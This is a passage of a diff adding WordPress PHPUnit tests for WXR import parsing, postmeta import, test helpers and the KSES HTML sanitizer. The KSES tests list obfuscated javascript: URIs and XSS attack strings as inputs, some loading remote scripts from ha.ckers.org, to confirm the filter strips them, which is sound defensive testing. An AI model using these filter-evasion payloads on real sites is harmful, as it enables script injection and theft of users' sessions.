+			$this->assertEquals( $result['categories'][0]['category_description'], 'The alpha category', $message );
+			$this->assertEquals( $result['tags'][0]['tag_slug'], 'chicken', $message );
+			$this->assertEquals( $result['tags'][0]['tag_name'], 'chicken', $message );
+
+			$this->assertEquals( 6, count($result['posts']), $message );
+			$this->assertEquals( 19, count($result['posts'][0]), $message );
+			$this->assertEquals( 18, count($result['posts'][1]), $message );
+
+			$this->assertEquals( array(
+				array( 'name' => 'Uncategorized', 'slug' => 'uncategorized', 'domain' => 'category' )
+			), $result['posts'][0]['terms'], $message );
+			$this->assertEquals( array(
+				array( 'name' => 'alpha', 'slug' => 'alpha', 'domain' => 'category' ),
+				array( 'name' => 'news', 'slug' => 'news', 'domain' => 'tag' ),
+				array( 'name' => 'roar', 'slug' => 'roar', 'domain' => 'tag' )
+			), $result['posts'][2]['terms'], $message );
+			$this->assertEquals( array(
+				array( 'name' => 'chicken', 'slug' => 'chicken', 'domain' => 'tag' ),
+				array( 'name' => 'child', 'slug' => 'child', 'domain' => 'category' ),
+				array( 'name' => 'face', 'slug' => 'face', 'domain' => 'tag' )
+			), $result['posts'][3]['terms'], $message );
+
+			$this->assertEquals( array(
+				array( 'key' => '_wp_page_template', 'value' => 'default' )
+			), $result['posts'][1]['postmeta'], $message );
+		}
+	}
+
+	/**
+	 * Test the WXR parser's ability to correctly retrieve content from CDATA
+	 * sections that contain escaped closing tags ("]]>" -> "]]]]><![CDATA[>").
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/15203
+	 */
+	function test_escaped_cdata_closing_sequence() {
+		$file = DIR_TESTDATA . '/export/crazy-cdata-escaped.xml';
+
+		foreach( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+			$message = 'Parser ' . $p;
+			$parser = new $p;
+			$result = $parser->parse( $file );
+
+			$post = $result['posts'][0];
+			$this->assertEquals( 'Content with nested <![CDATA[ tags ]]> :)', $post['post_content'], $message );
+			foreach ( $post['postmeta'] as $meta ) {
+				switch ( $meta['key'] ) {
+					case 'Plain string': $value = 'Foo'; break;
+					case 'Closing CDATA': $value = ']]>'; break;
+					case 'Alot of CDATA': $value = 'This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>'; break;
+					default: $this->fail( 'Unknown postmeta (' . $meta['key'] . ') was parsed out by' . $p );
+				}
+				$this->assertEquals( $value, $meta['value'], $message );
+			}
+		}
+	}
+
+	/**
+	 * Ensure that the regex parser can still parse invalid CDATA blocks (i.e. those
+	 * with "]]>" unescaped within a CDATA section).
+	 */
+	function test_unescaped_cdata_closing_sequence() {
+		$file = DIR_TESTDATA . '/export/crazy-cdata.xml';
+
+		$parser = new WXR_Parser_Regex;
+		$result = $parser->parse( $file );
+
+		$post = $result['posts'][0];
+		$this->assertEquals( 'Content with nested <![CDATA[ tags ]]> :)', $post['post_content'] );
+		foreach ( $post['postmeta'] as $meta ) {
+			switch ( $meta['key'] ) {
+				case 'Plain string': $value = 'Foo'; break;
+				case 'Closing CDATA': $value = ']]>'; break;
+				case 'Alot of CDATA': $value = 'This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>'; break;
+				default: $this->fail( 'Unknown postmeta (' . $meta['key'] . ') was parsed out by' . $p );
+			}
+			$this->assertEquals( $value, $meta['value'] );
+		}
+	}
+
+	// tags in CDATA #11574
+}
Index: /tags/4.1.6/tests/phpunit/tests/import/postmeta.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/import/postmeta.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/import/postmeta.php	(revision 33402)
@@ -0,0 +1,98 @@
+<?php
+
+/**
+ * @group import
+ */
+class Tests_Import_Postmeta extends WP_Import_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		if ( ! defined( 'WP_IMPORTING' ) )
+			define( 'WP_IMPORTING', true );
+
+		if ( ! defined( 'WP_LOAD_IMPORTERS' ) )
+			define( 'WP_LOAD_IMPORTERS', true );
+
+		if ( ! file_exists( DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php' ) ) {
+			$this->markTestSkipped( 'WordPress Importer plugin is not installed.' );
+		}
+
+		require_once DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php';
+	}
+
+	function test_serialized_postmeta_no_cdata() {
+		$this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-no-cdata.xml', array( 'johncoswell' => 'john' ) );
+		$expected['special_post_title'] = 'A special title';
+		$expected['is_calendar'] = '';
+		$this->assertEquals( $expected, get_post_meta( 122, 'post-options', true ) );
+	}
+
+	function test_utw_postmeta() {
+		$this->_import_wp( DIR_TESTDATA . '/export/test-utw-post-meta-import.xml', array( 'johncoswell' => 'john' ) );
+
+		$classy = new StdClass();
+		$classy->tag =  "album";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "apple";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "art";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "artwork";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "dead-tracks";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "ipod";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "itunes";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "javascript";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "lyrics";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "script";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "tracks";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "windows-scripting-host";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "wscript";
+		$expected[] = $classy;
+
+		$this->assertEquals( $expected, get_post_meta( 150, 'test', true ) );
+	}
+
+	/**
+	 * @ticket 9633
+	 */
+	function test_serialized_postmeta_with_cdata() {
+		$this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-with-cdata.xml', array( 'johncoswell' => 'johncoswell' ) );
+
+		//HTML in the CDATA should work with old WordPress version
+		$this->assertEquals( '<pre>some html</pre>', get_post_meta( 10, 'contains-html', true ) );
+		//Serialised will only work with 3.0 onwards.
+		$expected["special_post_title"] = "A special title";
+		$expected["is_calendar"] = "";
+		$this->assertEquals( $expected, get_post_meta( 10, 'post-options', true ) );
+	}
+
+	/**
+	 * @ticket 11574
+	 */
+	function test_serialized_postmeta_with_evil_stuff_in_cdata() {
+		$this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-with-cdata.xml', array( 'johncoswell' => 'johncoswell' ) );
+		// evil content in the CDATA
+		$this->assertEquals( '<wp:meta_value>evil</wp:meta_value>', get_post_meta( 10, 'evil', true ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/includes/factory.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/includes/factory.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/includes/factory.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+
+class TestFactoryFor extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->category_factory = new WP_UnitTest_Factory_For_Term( null, 'category' );
+	}
+
+	function test_create_creates_a_category() {
+		$id = $this->category_factory->create();
+		$this->assertTrue( (bool)get_term_by( 'id', $id, 'category' ) );
+	}
+
+	function test_get_object_by_id_gets_an_object() {
+		$id = $this->category_factory->create();
+		$this->assertTrue( (bool)$this->category_factory->get_object_by_id( $id ) );
+	}
+
+	function test_get_object_by_id_gets_an_object_with_the_same_name() {
+		$id = $this->category_factory->create( array( 'name' => 'Boo') );
+		$object = $this->category_factory->get_object_by_id( $id );
+		$this->assertEquals( 'Boo', $object->name );
+	}
+
+	function test_the_taxonomy_argument_overrules_the_factory_taxonomy() {
+		$term_factory = new WP_UnitTest_Factory_For_term( null, 'category' );
+		$id = $term_factory->create( array( 'taxonomy' => 'post_tag' ) );
+		$term = get_term( $id, 'post_tag' );
+		$this->assertEquals( $id, $term->term_id );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/includes/helpers.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/includes/helpers.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/includes/helpers.php	(revision 33402)
@@ -0,0 +1,162 @@
+<?php
+
+/**
+ * @group phpunit
+ */
+class Tests_TestHelpers extends WP_UnitTestCase {
+	/**
+	 * @ticket 30522
+	 */
+	function data_assertEqualSets() {
+		return array(
+			array(
+				array( 1, 2, 3 ), // test expected
+				array( 1, 2, 3 ), // test actual
+				false             // exception expected
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 2, 3, 1 ),
+				false
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 1, 2, 3, 4 ),
+				true
+			),
+			array(
+				array( 1, 2, 3, 4 ),
+				array( 1, 2, 3 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 3, 4, 2, 1 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 1, 2, 3, 3 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 2, 3, 1, 3 ),
+				true
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider data_assertEqualSets
+	 * @ticket 30522
+	 */
+	function test_assertEqualSets( $expected, $actual, $exception ) {
+		if ( $exception ) {
+			try {
+				$this->assertEqualSets( $expected, $actual );
+			} catch ( PHPUnit_Framework_ExpectationFailedException $ex ) {
+				return;
+			}
+
+			$this->fail();
+		} else {
+			$this->assertEqualSets( $expected, $actual );
+		}
+	}
+
+	/**
+	 * @ticket 30522
+	 */
+	function data_assertEqualSetsWithIndex() {
+		return array(
+			array(
+				array( 1, 2, 3 ), // test expected
+				array( 1, 2, 3 ), // test actual
+				false             // exception expected
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				false
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 2, 3, 1 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'b' => 2, 'c' => 3, 'a' => 1 ),
+				false
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 1, 2, 3, 4 ),
+				true
+			),
+			array(
+				array( 1, 2, 3, 4 ),
+				array( 1, 2, 3 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 4 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 4 ),
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 3, 4, 2, 1 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'c' => 3, 'b' => 2, 'd' => 4, 'a' => 1 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 1, 2, 3, 3 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 3 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 2, 3, 1, 3 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'c' => 3, 'b' => 2, 'd' => 3, 'a' => 1 ),
+				true
+			),
+		);
+	}
+	/**
+	 * @dataProvider data_assertEqualSetsWithIndex
+	 * @ticket 30522
+	 */
+	function test_assertEqualSetsWithIndex( $expected, $actual, $exception ) {
+		if ( $exception ) {
+			try {
+				$this->assertEqualSetsWithIndex( $expected, $actual );
+			} catch ( PHPUnit_Framework_ExpectationFailedException $ex ) {
+				return;
+			}
+
+			$this->fail();
+		} else {
+			$this->assertEqualSetsWithIndex( $expected, $actual );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/iterators.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/iterators.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/iterators.php	(revision 33402)
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * @ticket 22435
+ */
+class Test_WP_Post_IDs_Iterator extends WP_UnitTestCase {
+	function setUp() {
+		if ( ! class_exists( 'WP_Post_IDs_Iterator' ) ) {
+			$this->markTestSkipped( "WP_Post_IDs_Iterator class doesn't exist" );
+		}
+
+		parent::setUp();
+	}
+
+	function test_create() {
+		new WP_Post_IDs_Iterator( array( 1, 2, 3 ) );
+	}
+
+	function test_no_posts() {
+		$this->assertIteratorReturnsSamePostIDs( array() );
+	}
+
+	function test_less_ids_than_limit() {
+		$post_id_0 = $this->factory->post->create();
+		$post_id_1 = $this->factory->post->create();
+		$this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1 ), 10 );
+	}
+
+	function test_ids_exactly_as_limit() {
+		$post_id_0 = $this->factory->post->create();
+		$post_id_1 = $this->factory->post->create();
+		$this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1 ), 2 );
+	}
+
+	function test_more_ids_than_limit() {
+		$post_id_0 = $this->factory->post->create();
+		$post_id_1 = $this->factory->post->create();
+		$post_id_2 = $this->factory->post->create();
+		$this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1, $post_id_2 ), 2 );
+	}
+
+	function test_ids_exactly_twice_more_than_limit() {
+		$post_id_0 = $this->factory->post->create();
+		$post_id_1 = $this->factory->post->create();
+		$post_id_2 = $this->factory->post->create();
+		$post_id_3 = $this->factory->post->create();
+		$this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1, $post_id_2, $post_id_3 ), 2 );
+	}
+
+	private function assertIteratorReturnsSamePostIDs( $post_ids, $limit = 2 ) {
+		$this->assertEquals( $post_ids, wp_list_pluck( iterator_to_array( new WP_Post_IDs_Iterator( $post_ids, $limit ) ), 'ID' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/kses.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/kses.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/kses.php	(revision 33402)
@@ -0,0 +1,592 @@
+<?php
+/**
+ * Some simple test cases for KSES post content filtering
+ *
+ * @group formatting
+ * @group kses
+ */
+class Tests_Kses extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 20210
+	 */
+	function test_wp_filter_post_kses_address() {
+		global $allowedposttags;
+
+		$attributes = array(
+			'class' => 'classname',
+			'id' => 'id',
+			'style' => 'color: red;',
+			'style' => 'color: red',
+			'style' => 'color: red; text-align:center',
+			'style' => 'color: red; text-align:center;',
+			'title' => 'title',
+		);
+
+		foreach ( $attributes as $name => $value ) {
+			$string = "<address $name='$value'>1 WordPress Avenue, The Internet.</address>";
+			$expect_string = "<address $name='" . str_replace( '; ', ';', trim( $value, ';' ) ) . "'>1 WordPress Avenue, The Internet.</address>";
+			$this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) );
+		}
+	}
+
+	/**
+	 * @ticket 20210
+	 */
+	function test_wp_filter_post_kses_a() {
+		global $allowedposttags;
+
+		$attributes = array(
+			'class' => 'classname',
+			'id' => 'id',
+			'style' => 'color: red;',
+			'title' => 'title',
+			'href' => 'http://example.com',
+			'rel' => 'related',
+			'rev' => 'revision',
+			'name' => 'name',
+			'target' => '_blank',
+		);
+
+		foreach ( $attributes as $name => $value ) {
+			$string = "<a $name='$value'>I link this</a>";
+			$expect_string = "<a $name='" . trim( $value, ';' ) . "'>I link this</a>";
+			$this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) );
+		}
+	}
+
+	/**
+	 * @ticket 20210
+	 */
+	function test_wp_filter_post_kses_abbr() {
+		global $allowedposttags;
+
+		$attributes = array(
+			'class' => 'classname',
+			'id' => 'id',
+			'style' => 'color: red;',
+			'title' => 'title',
+		);
+
+		foreach ( $attributes as $name => $value ) {
+			$string = "<abbr $name='$value'>WP</abbr>";
+			$expect_string = "<abbr $name='" . trim( $value, ';' ) . "'>WP</abbr>";
+			$this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) );
+		}
+	}
+
+	function test_feed_links() {
+		global $allowedposttags;
+
+		$content = <<<EOF
+<a href="feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:javascript:feed:alert(1)">CLICK ME</a>
+<a href="feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="javascript:feed:alert(1)">CLICK ME</a>
+<a href="javascript:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:javascript:feed:javascript:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:javascript:feed:javascript:feed:javascript:feed:javascript:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:http:alert(1)">CLICK ME</a>
+EOF;
+
+		$expected = <<<EOF
+<a href="feed:alert(1)">CLICK ME</a>
+<a href="feed:feed:alert(1)">CLICK ME</a>
+<a href="feed:feed:alert(1)">CLICK ME</a>
+<a href="feed:alert(1)">CLICK ME</a>
+<a href="feed:alert(1)">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+EOF;
+
+		$this->assertEquals( $expected, wp_kses( $content, $allowedposttags ) );
+	}
+
+	function test_wp_kses_bad_protocol() {
+		$bad = array(
+			'dummy:alert(1)',
+			'javascript:alert(1)',
+			'JaVaScRiPt:alert(1)',
+			'javascript:alert(1);',
+			'javascript&#58;alert(1);',
+			'javascript&#0058;alert(1);',
+			'javascript&#0000058alert(1);',
+			'javascript&#x3A;alert(1);',
+			'javascript&#X3A;alert(1);',
+			'javascript&#X3a;alert(1);',
+			'javascript&#x3a;alert(1);',
+			'javascript&#x003a;alert(1);',
+			'&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29',
+			'jav	ascript:alert(1);',
+			'jav&#x09;ascript:alert(1);',
+			'jav&#x0A;ascript:alert(1);',
+			'jav&#x0D;ascript:alert(1);',
+			' &#14;  javascript:alert(1);',
+			'javascript:javascript:alert(1);',
+			'javascript&#58;javascript:alert(1);',
+			'javascript&#0000058javascript:alert(1);',
+			'javascript:javascript&#58;alert(1);',
+			'javascript:javascript&#0000058alert(1);',
+			'javascript&#0000058alert(1)//?:',
+			'feed:javascript:alert(1)',
+			'feed:javascript:feed:javascript:feed:javascript:alert(1)',
+		);
+		foreach ( $bad as $k => $x ) {
+			$result = wp_kses_bad_protocol( wp_kses_normalize_entities( $x ), wp_allowed_protocols() );
+			if ( ! empty( $result ) && $result != 'alert(1);' && $result != 'alert(1)' ) {
+				switch ( $k ) {
+					case 6: $this->assertEquals( 'javascript&amp;#0000058alert(1);', $result ); break;
+					case 12:
+						$this->assertEquals( str_replace( '&', '&amp;', $x ), $result );
+						break;
+					case 22: $this->assertEquals( 'javascript&amp;#0000058alert(1);', $result ); break;
+					case 23: $this->assertEquals( 'javascript&amp;#0000058alert(1)//?:', $result ); break;
+					case 24: $this->assertEquals( 'feed:alert(1)', $result ); break;
+					default: $this->fail( "wp_kses_bad_protocol failed on $x. Result: $result" );
+				}
+			}
+		}
+
+		$safe = array(
+			'dummy:alert(1)',
+			'HTTP://example.org/',
+			'http://example.org/',
+			'http&#58;//example.org/',
+			'http&#x3A;//example.org/',
+			'https://example.org',
+			'http://example.org/wp-admin/post.php?post=2&amp;action=edit',
+			'http://example.org/index.php?test=&#039;blah&#039;',
+		);
+		foreach ( $safe as $x ) {
+			$result = wp_kses_bad_protocol( wp_kses_normalize_entities( $x ), array( 'http', 'https', 'dummy' ) );
+			if ( $result != $x && $result != 'http://example.org/' )
+				$this->fail( "wp_kses_bad_protocol incorrectly blocked $x" );
+		}
+	}
+
+	public function test_hackers_attacks() {
+		$xss = simplexml_load_file( DIR_TESTDATA . '/formatting/xssAttacks.xml' );
+		foreach ( $xss->attack as $attack ) {
+			if ( in_array( $attack->name, array( 'IMG Embedded commands 2', 'US-ASCII encoding', 'OBJECT w/Flash 2', 'Character Encoding Example' ) ) )
+				continue;
+
+			$code = (string) $attack->code;
+
+			if ( $code == 'See Below' )
+				continue;
+
+			if ( substr( $code, 0, 4 ) == 'perl' ) {
+				$pos = strpos( $code, '"' ) + 1;
+				$code = substr( $code, $pos, strrpos($code, '"') - $pos );
+				$code = str_replace( '\0', "\0", $code );
+			}
+
+			$result = trim( wp_kses_data( $code ) );
+
+			if ( $result == '' || $result == 'XSS' || $result == 'alert("XSS");' || $result == "alert('XSS');" )
+				continue;
+
+			switch ( $attack->name ) {
+				case 'XSS Locator':
+					$this->assertEquals('\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--&gt;"&gt;\'&gt;alert(String.fromCharCode(88,83,83))=', $result);
+					break;
+				case 'XSS Quick Test':
+					$this->assertEquals('\'\';!--"=', $result);
+					break;
+				case 'SCRIPT w/Alert()':
+					$this->assertEquals( "alert('XSS')", $result );
+					break;
+				case 'SCRIPT w/Char Code':
+					$this->assertEquals('alert(String.fromCharCode(88,83,83))', $result);
+					break;
+				case 'IMG STYLE w/expression':
+					$this->assertEquals('exp/*', $result);
+					break;
+				case 'List-style-image':
+					$this->assertEquals('li {list-style-image: url("javascript:alert(\'XSS\')");}XSS', $result);
+					break;
+				case 'STYLE':
+					$this->assertEquals( "alert('XSS');", $result);
+					break;
+				case 'STYLE w/background-image':
+					$this->assertEquals('.XSS{background-image:url("javascript:alert(\'XSS\')");}<A></A>', $result);
+					break;
+				case 'STYLE w/background':
+					$this->assertEquals('BODY{background:url("javascript:alert(\'XSS\')")}', $result);
+					break;
+				case 'Remote Stylesheet 2':
+					$this->assertEquals( "@import'http://ha.ckers.org/xss.css';", $result );
+					break;
+				case 'Remote Stylesheet 3':
+					$this->assertEquals( '&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;; REL=stylesheet"&gt;', $result );
+					break;
+				case 'Remote Stylesheet 4':
+					$this->assertEquals('BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}', $result);
+					break;
+				case 'XML data island w/CDATA':
+					$this->assertEquals( "&lt;![CDATA[]]&gt;", $result );
+					break;
+				case 'XML data island w/comment':
+					$this->assertEquals( "<I><B>&lt;IMG SRC=&quot;javas<!-- -->cript:alert('XSS')\"&gt;</B></I>", $result );
+					break;
+				case 'XML HTML+TIME':
+					$this->assertEquals( '&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSSalert(\'XSS\')"&gt;', $result );
+					break;
+				case 'Commented-out Block':
+					$this->assertEquals( "<!--[if gte IE 4]&gt;-->\nalert('XSS');", $result );
+					break;
+				case 'Cookie Manipulation':
+					$this->assertEquals( '&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=alert(\'XSS\')"&gt;', $result );
+					break;
+				case 'SSI':
+					$this->assertEquals( '&lt;!--#exec cmd=&quot;/bin/echo &#039;<!--#exec cmd="/bin/echo \'=http://ha.ckers.org/xss.js&gt;\'"-->', $result );
+					break;
+				case 'PHP':
+					$this->assertEquals( '&lt;? echo(&#039;alert("XSS")\'); ?&gt;', $result );
+					break;
+				case 'UTF-7 Encoding':
+					$this->assertEquals( '+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-', $result );
+					break;
+				case 'Escaping JavaScript escapes':
+					$this->assertEquals('\";alert(\'XSS\');//', $result);
+					break;
+				case 'STYLE w/broken up JavaScript':
+					$this->assertEquals( '@im\port\'\ja\vasc\ript:alert("XSS")\';', $result );
+					break;
+				case 'Null Chars 2':
+					$this->assertEquals( '&amp;alert("XSS")', $result );
+					break;
+				case 'No Closing Script Tag':
+					$this->assertEquals( '&lt;SCRIPT SRC=http://ha.ckers.org/xss.js', $result );
+					break;
+				case 'Half-Open HTML/JavaScript':
+					$this->assertEquals( '&lt;IMG SRC=&quot;javascript:alert(&#039;XSS&#039;)&quot;', $result );
+					break;
+				case 'Double open angle brackets':
+					$this->assertEquals( '&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;', $result );
+					break;
+				case 'Extraneous Open Brackets':
+					$this->assertEquals( '&lt;alert("XSS");//&lt;', $result );
+					break;
+				case 'Malformed IMG Tags':
+					$this->assertEquals('alert("XSS")"&gt;', $result);
+					break;
+				case 'No Quotes/Semicolons':
+					$this->assertEquals( "a=/XSS/\nalert(a.source)", $result );
+					break;
+				case 'Evade Regex Filter 1':
+					$this->assertEquals( '" SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				case 'Evade Regex Filter 4':
+					$this->assertEquals( '\'" SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				case 'Evade Regex Filter 5':
+					$this->assertEquals( '` SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				case 'Filter Evasion 1':
+					$this->assertEquals( 'document.write("&lt;SCRI&quot;);PT SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				case 'Filter Evasion 2':
+					$this->assertEquals( '\'&gt;" SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				default:
+					$this->fail( 'KSES failed on ' . $attack->name . ': ' . $result );
+			}
+		}
+	}
+
+	function _wp_kses_allowed_html_filter( $html, $context ) {
+		if ( 'post' == $context )
+			return array( 'a' => array( 'href' => true ) );
+		else
+			return array( 'a' => array( 'href' => false ) );
+	}
+
+	/**
+	 * @ticket 20210
+	 */
+	public function test_wp_kses_allowed_html() {
+		global $allowedposttags, $allowedtags, $allowedentitynames;
+
+		$this->assertEquals( $allowedposttags, wp_kses_allowed_html( 'post' ) );
+
+		$tags = wp_kses_allowed_html( 'post' ) ;
+
+		foreach ( $tags as $tag ) {
+			$this->assertTrue( $tag['class'] );
+			$this->assertTrue( $tag['id'] );
+			$this->assertTrue( $tag['style'] );
+			$this->assertTrue( $tag['title'] );
+		}
+
+		$this->assertEquals( $allowedtags, wp_kses_allowed_html( 'data' ) );
+		$this->assertEquals( $allowedtags, wp_kses_allowed_html( '' ) );
+		$this->assertEquals( $allowedtags, wp_kses_allowed_html() );
+
+		$tags = wp_kses_allowed_html( 'user_description' );
+		$this->assertTrue( $tags['a']['rel'] );
+
+		$tags = wp_kses_allowed_html();
+		$this->assertFalse( isset( $tags['a']['rel'] ) );
+
+		$this->assertEquals( array(), wp_kses_allowed_html( 'strip' ) );
+
+		$custom_tags = array(
+			'a' => array(
+				'href' => true,
+				'rel' => true,
+				'rev' => true,
+				'name' => true,
+				'target' => true,
+			),
+		);
+
+		$this->assertEquals( $custom_tags, wp_kses_allowed_html( $custom_tags ) );
+
+		add_filter( 'wp_kses_allowed_html', array( $this, '_wp_kses_allowed_html_filter' ), 10, 2 );
+
+		$this->assertEquals( array( 'a' => array( 'href' => true ) ), wp_kses_allowed_html( 'post' ) );
+		$this->assertEquals( array( 'a' => array( 'href' => false ) ), wp_kses_allowed_html( 'data' ) );
+
+		remove_filter( 'wp_kses_allowed_html', array( $this, '_wp_kses_allowed_html_filter' ) );
+		$this->assertEquals( $allowedposttags, wp_kses_allowed_html( 'post' ) );
+		$this->assertEquals( $allowedtags, wp_kses_allowed_html( 'data' ) );
+	}
+
+	/**
+	 * @ticket 26290
+	 */
+	public function test_wp_kses_normalize_entities() {
+		$this->assertEquals( '&spades;', wp_kses_normalize_entities( '&spades;' ) );
+
+		$this->assertEquals( '&sup1;', wp_kses_normalize_entities( '&sup1;' ) );
+		$this->assertEquals( '&sup2;', wp_kses_normalize_entities( '&sup2;' ) );
+		$this->assertEquals( '&sup3;', wp_kses_normalize_entities( '&sup3;' ) );
+		$this->assertEquals( '&frac14;', wp_kses_normalize_entities( '&frac14;' ) );
+		$this->assertEquals( '&frac12;', wp_kses_normalize_entities( '&frac12;' ) );
+		$this->assertEquals( '&frac34;', wp_kses_normalize_entities( '&frac34;' ) );
+		$this->assertEquals( '&there4;', wp_kses_normalize_entities( '&there4;' ) );
+	}
+	
+	/**
+	 * Test removal of invalid binary data for HTML.
+	 *
+	 * @ticket 28506
+	 * @dataProvider data_ctrl_removal
+	 */
+	function test_ctrl_removal( $input, $output ) {
+		global $allowedposttags;
+
+		return $this->assertEquals( $output, wp_kses( $input, $allowedposttags ) );
+	}
+
+	function data_ctrl_removal() {
+		return array(
+			array(
+				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0B\x0C\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\X1C\x1D\x1E\x1F",
+				'',
+			),
+			array(
+				"\x00h\x01e\x02l\x03l\x04o\x05 \x06w\x07o\x08r\x0Bl\x0Cd\x0E.\x0F \x10W\x11O\x12R\x13D\x14P\x15R\x16E\x17S\x18S\x19 \x1AK\x1BS\X1CE\x1DS\x1E.\x1F/",
+				'hello world. WORDPRESS KSES./',
+			),
+			array(
+				"\x1F\x1E\x1D\x1C\x1B\x1A\x19\x18\x17\x16\x15\x14\x13\x12\x11\x10\x0F\x0E\x0C\x0B\x08\x07\x06\x05\x04\X03\x02\x01\x00",
+				'',
+			),
+			array(
